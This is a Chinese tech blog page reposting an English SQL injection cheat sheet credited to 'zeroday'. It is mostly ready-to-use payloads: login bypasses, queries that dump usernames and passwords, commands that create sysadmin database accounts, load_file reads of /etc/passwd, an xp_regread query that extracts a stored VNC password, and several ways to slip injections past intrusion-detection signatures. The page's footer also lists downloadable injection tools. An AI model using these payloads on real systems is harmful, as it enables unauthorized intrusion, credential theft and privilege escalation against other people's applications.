`
hjwromantic
  • 浏览: 27663 次
  • 性别: Icon_minigender_1
文章分类
社区版块
存档分类
最新评论

应用安全之SQL注射技术

 
阅读更多

下面介绍一下应用安全方面东东......也是检验应用健壮性的某方面安全考虑!下面是一老外针对sql注入技术的总结,看完后相信对依赖注入会有个相对全面的认识!下面一篇英文版的技术总结!本人也比较倾向于看一些关于英文的技术文章,一方面可以锻炼自己的应用文案的阅读能力!也建议大伙看一些英文版的技术文案,当然也不能说“咱崇洋媚外”,国外的一些“大牛"总结的一些东西确实值得我们学习和分享!下面内容希望对在方面有”盲点“朋友有所帮助(下面英文相对简单,有一定计算机基础英语的朋友阅读起来应该不是很难,在这里就不翻译了,多看英文文案有利无害.....):

SqlInjection Paper

By zeroday.

zeroday [ at ] blacksecurity.org

1.Introduction.

2.Testingfor vulnerabilities.

3.GatheringInformation.

4.Datatypes.

5.GrabbingPasswords.

6.CreateDB accounts.

7.MySQLOS Interaction.

8.Servername and config.

9.RetrievingVNC password from registry.

10.IDSSignature Evasion.

11.mySQLInput Validation Circumvention using Char().

12.IDSSignature Evasion using comments.

13.Stringswithout quotes.

1. When a box only has port 80 open, it'salmost certain the admin will patch his server,

The best thing to turn to is web attacks.Sql Injection is one of the most common web attacks.

You attack the web application, ( ASP, JSP,PHP, CGI..etc) rather than the webserver

or the services running on the OS.

Sql injection is a way to trick using aqurey or command as a input via webpages,

most websites take parameters from the userlike username and passwrod or even their emails.

They all use Sql querys.

2. First of you should start with somethingsimple.

- Login:' or 1=1--

- Pass:' or 1=1--

- http://website/index.asp?id=' or 1=1--

These are simple ways to try another onesare:

- ' having 1=1--

- ' group by userid having 1=1--

- ' SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablename')--

- ' union select sum(columnname) fromtablename--

3.Gathering Infomation.

- ' or 1 in (select @@version)--

- ' union all select @@version--

Those will Find the actual Version of thecomputer, OS/service pack.

4.Data types.

Oracle

-->SYS.USER_OBJECTS (USEROBJECTS)

-->SYS.USER_VIEWS

-->SYS.USER_TABLES

-->SYS.USER_VIEWS

-->SYS.USER_TAB_COLUMNS

-->SYS.USER_CATALOG

-->SYS.USER_TRIGGERS

-->SYS.ALL_TABLES

-->SYS.TAB

MySQL

-->mysql.user

-->mysql.host

-->mysql.db

MS access

-->MsysACEs

-->MsysObjects

-->MsysQueries

-->MsysRelationships

MS SQL Server

-->sysobjects

-->syscolumns

-->systypes

-->sysdatabases

5.Grabbing passwords

'; begin declare @var varchar(8000) set@var=':' select @var=@var+'+login+'/'+password+' ' from users where login >@var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.Create DB accounts.

MS SQL

exec sp_addlogin 'name' , 'password'

exec sp_addsrvrolemember 'name' ,'sysadmin'

MySQL

INSERT INTO mysql.user (user, host,password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access

CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)

CRATE USER name WITH PASSWORD 'pass123'

Oracle

CRATE USER name IDENTIFIED BY pass123

TEMPORARY TABLESPACE temp

DEFAULT TABLESPACE users;

GRANT CONNECT TO name;

GRANT RESOURCE TO name;

7.MySQL OS Interaction

- ' union select1,load_file('/etc/passwd'),1,1,1;

8.Server name and config.

- ' and 1 in (select @@servername)--

- ' and 1 in (select servername from master.sysservers)--

9.Retrieving VNC password from registry.

- '; declare @out binary(8)

- exec master..xp_regread

- @rootkey = 'HKEY_LOCAL_MACHINE',

- @key = 'SOFTWARE\ORL\WinVNC3\Default',

- @value_name='password',

- @value = @out output

- select cast (@out as bigint) as x intoTEMP--

- ' and 1 in (select cast(x as varchar) from temp)--

10.IDS Signature Evasion.

Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'

- ' OR 'something' = 'some'+'thing'

- ' OR 'text' = N'text'

- ' OR 'something' like 'some%'

- ' OR 2 > 1

- ' OR 'text' > 't'

- ' OR 'whatever' in ('whatever')

- ' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumventionusing Char().

Inject without quotes (string ="%"):

--> ' or username like char(37);

Inject with quotes(string="root"):

--> ' union select * from users wherelogin = char(114,111,111,116);

load files in unions (string ="/etc/passwd"):

-->' union select1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

Check for existing files (string ="n.ext"):

-->' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.

-->'/**/OR/**/1/**/=/**/1

-->Username:' or 1/*

-->Password:*/=1--

-->UNI/**/ON SEL/**/ECT

-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' ||'ER'

-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')

13.Strings without quotes.

-->INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) +char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) +char(0x65) + char(0x72), 0x64)
分享到:
评论

相关推荐

    SQL注射技术总结文档

    ### SQL注射技术总结文档 #### 1. 简介 SQL注入是一种常见的攻击手段,攻击者通过在应用程序中插入恶意SQL代码,从而控制数据库执行非授权操作。这种攻击方式通常发生在用户输入未经过充分验证的情况下,攻击者...

    [翻译]SQL注射技术总结文档

    6. 安全编码:遵循OWASP(开放网络应用安全项目)的安全编码实践。 7. 定期更新和打补丁:保持数据库管理系统和应用程序的最新状态,及时修补已知漏洞。 五、检测和修复 使用自动化工具进行SQL注入扫描,如Nessus...

    德国的SQL注射工具

    在本主题中,我们将深入探讨“德国的SQL注射工具”这一特定工具,以及与SQL注入相关的技术、防范措施和其在网络安全中的重要性。 首先,SQL注入工具通常由黑客或安全研究人员使用,用于检测网站或应用程序是否存在...

    国外超强sql注射工具

    Havij是一款功能强大的自动化SQL注入工具,其1.12 Free版本被广泛用于测试Web应用程序的安全性。该工具的特点是易于使用,且效果显著,据描述,它甚至超越了一些商业版的SQL注入解决方案。Havij的主要功能包括: 1....

    SQL注射与XSS攻击的牛B工具

    **扫描工具** 如“SQL注射与XSS攻击的牛B工具”可以帮助检测网站是否存在这类漏洞。这些工具通常具备以下功能: 1. **自动扫描**:遍历网站的URL,寻找可能的注入点。 2. **漏洞检测**:尝试多种注入技术和XSS构造...

    sql注入-网络安全中的SQL注入技术及其防护措施

    内容概要:本文首先介绍了SQL注入的基本概念和常见形式,指出由于应用层的安全设计缺陷导致了这一风险的存在。接下来从数据泄露、篡改、系统崩溃等方面具体讨论了此类攻击可能造成的严重后果,并详细阐述了几种主流...

    PHP中的代码安全和SQL Injection防范2

    其中,SQL注入攻击是最常见也是最危险的安全威胁之一。SQL注入攻击通过将恶意SQL代码插入到应用程序的输入字段中,从而获取数据库中的敏感信息或者对数据库进行破坏。本文将详细介绍如何利用PHP中的正则表达式来检测...

    德国的SQL注射工具 PostData String Injection

    【标签】:“德国的SQL注射工具”标签表明该软件源自德国,且专注于SQL注入测试领域。这通常意味着它可能结合了严谨的编程理念和高效的安全检测技术。 【文件名称列表详解】: 1. **SI.exe**:这是PostData String ...

    SQL注入攻击实验报告

    然而,由于开发者对安全性的忽视,使得许多Web应用程序存在安全隐患,其中SQL注入攻击是最常见也是最危险的一种攻击方式之一。SQL注入攻击能够使攻击者绕过正常的认证机制,获取敏感信息或控制服务器,对企业和个人...

    oracle入侵与SQL注射技巧

    SQL注入是一种常见的网络安全攻击方式,攻击者通过恶意构造SQL语句,将这些语句注入到应用程序的输入参数中,从而获取数据库中的敏感信息或执行非法操作。 #### 二、检测Oracle数据库 对于检测是否为Oracle数据库...

    详解常用的SQL注射语句

    SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在应用程序的输入字段中插入恶意的SQL代码,来操纵数据库执行非预期的操作。本文将详细介绍一些常用的SQL注入技巧,帮助安全研究人员更好地理解这种攻击方式...

    使用Python防止SQL注入攻击的实现示例

    随着网络技术的发展,Web应用程序的安全性越来越受到人们的重视。开放式Web应用程序安全项目(OWASP)每几年都会发布一次关于Web应用程序最常见安全风险的报告,其中SQL注入攻击一直位居前列。SQL注入不仅常见,而且...

    PHP中的代码安全和SQL Injection防范

    * 函数作用:检测提交的值是否含有SQL注射的字符,防止注射,保护服务器安全 * 参数:$sql_str: 提交的变量 * 返回值:返回检测结果,true或false */ function inject_check($sql_str) { // 使用正则表达式匹配...

    HZHOST域名虚拟主机管理系统sql注射漏洞+进一步利用.docx

    1. **SQL注入**:是指通过将恶意SQL代码插入到应用程序接收的输入参数中,使数据库服务器执行非预期的查询或命令的技术。 2. **HZHOST**:一款集成域名管理、FTP服务、Web服务等功能的虚拟主机管理系统。 3. **SQL...

    本地SQL注射攻略分析曝光

    需要注意的是,本地SQL注射的成功实施要求攻击者对目标服务器的Web应用程序有深入的了解,包括其使用的数据库类型、库名以及可能的结构。此外,还需要本地环境配置得当,能够模拟服务器的环境和行为。 总的来说,...

    MYSQL 注射精华.zip

    MySQL注射是一种攻击技术,攻击者通过在输入数据中嵌入SQL命令来操纵或控制数据库。本压缩包包含的“MYSQL注射精华.pdf”文件很可能是对这种攻击方式的深入解析和防御策略的详细指南。 MySQL注射主要发生在Web应用...

    php注射攻防

    MSSQL注射(也称为SQL注射)是一种常见的网络安全攻击手段,攻击者通过在应用程序接收用户输入的地方插入恶意SQL语句,以此来操纵数据库中的数据或者获取未经授权的数据访问。 - **定义**:MSSQL注射是指利用Web...

Global site tag (gtag.js) - Google Analytics